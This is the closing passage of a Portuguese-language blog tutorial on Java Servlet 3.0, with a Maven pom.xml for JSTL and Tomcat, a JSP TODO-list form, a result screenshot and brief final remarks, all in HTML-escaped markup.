            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;javax.servlet-api&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;4.0.1&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;scope&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;provided&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;scope&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- JSTL --&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;javax.servlet&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;jstl&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.1.2&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;taglibs&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;standard&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.1.2&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;taglibs&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;c&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.1.2&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;tld&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;finalName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;finalName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;plugins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- Tomcat plugin --&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;plugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;org.apache.tomcat.maven&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;tomcat7-maven-plugin&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;2.2&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;configuration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;/&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;contextReloadable&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;true&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;contextReloadable&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;configuration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;plugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;plugins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;project&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Já o &lt;em&gt;HTML&lt;/em&gt;, no arquivo &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt;, deve ficar parecido com o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;%@ taglib uri=&quot;http://java.sun.com/jsp/jstl/core&quot; prefix=&quot;c&quot; %&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;TODO list&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;form&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;label&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        Tarefa:
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;required&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;label&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Salvar&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;form&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;c:&lt;/span&gt;forEach&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;tarefa&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;${tarefas}&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;${tarefa.nome}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;c:&lt;/span&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Reinicie o &lt;em&gt;Tomcat&lt;/em&gt;, e ao acessar o endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;, você deve obter o seguinte resultado:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5af87736e7116b511e5f168ed64cf7b6/6af66/java-jstl-exemplo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 60.9375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA/0lEQVQoz2Pw8I22dQ40MHW1cQywdgwAkha2PhZ2vpb2vs6e4Y7uoTZOgUC2obkbJmIoq2wuLmvMzq8qLmuqrO0orWzJLarJL64tKK0vr24trWwuLGvIL67LyqvERAzXr1/fsH7Dli1bjh45umvnrl8/f/37/+8vGPwGAwj7HzbAAJT+9OnT+/fvP378+OrVK6DQf6IBw8uXL+/fv//r1y8I/y8MAE359u3b06dP4VJYNAPlPn/+/OXLF6BSIBtZM9BRX79+/fPnD07NQAzUdvXq1StXrgBdAeQS73KQZqC1Fy9ePHv27IsXL0jWDHQYMLQ+fPiAx3s4NZMNBk4zAPnmdj89bECFAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de visualização com aplicação de Taglibs&quot;
        title=&quot;Exemplo de visualização com aplicação de Taglibs&quot;
        src=&quot;/static/5af87736e7116b511e5f168ed64cf7b6/6af66/java-jstl-exemplo.png&quot;
        srcset=&quot;/static/5af87736e7116b511e5f168ed64cf7b6/8514f/java-jstl-exemplo.png 192w,
/static/5af87736e7116b511e5f168ed64cf7b6/804b2/java-jstl-exemplo.png 384w,
/static/5af87736e7116b511e5f168ed64cf7b6/6af66/java-jstl-exemplo.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de visualização com aplicação de Taglibs&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Embora haja uma forma programática de formularmos o &lt;em&gt;deployment descriptor&lt;/em&gt; da aplicação, ainda assim precisamos lidar com escrita de &lt;em&gt;XML&lt;/em&gt; que em muitos casos parecem ser alterações exotéricas. Mesmo com a &lt;em&gt;Servlet 3.0&lt;/em&gt;, não escapamos dessa espécie de &quot;karma&quot; que é lidar com a linguagem &lt;em&gt;Java&lt;/em&gt;.&lt;/p&gt;
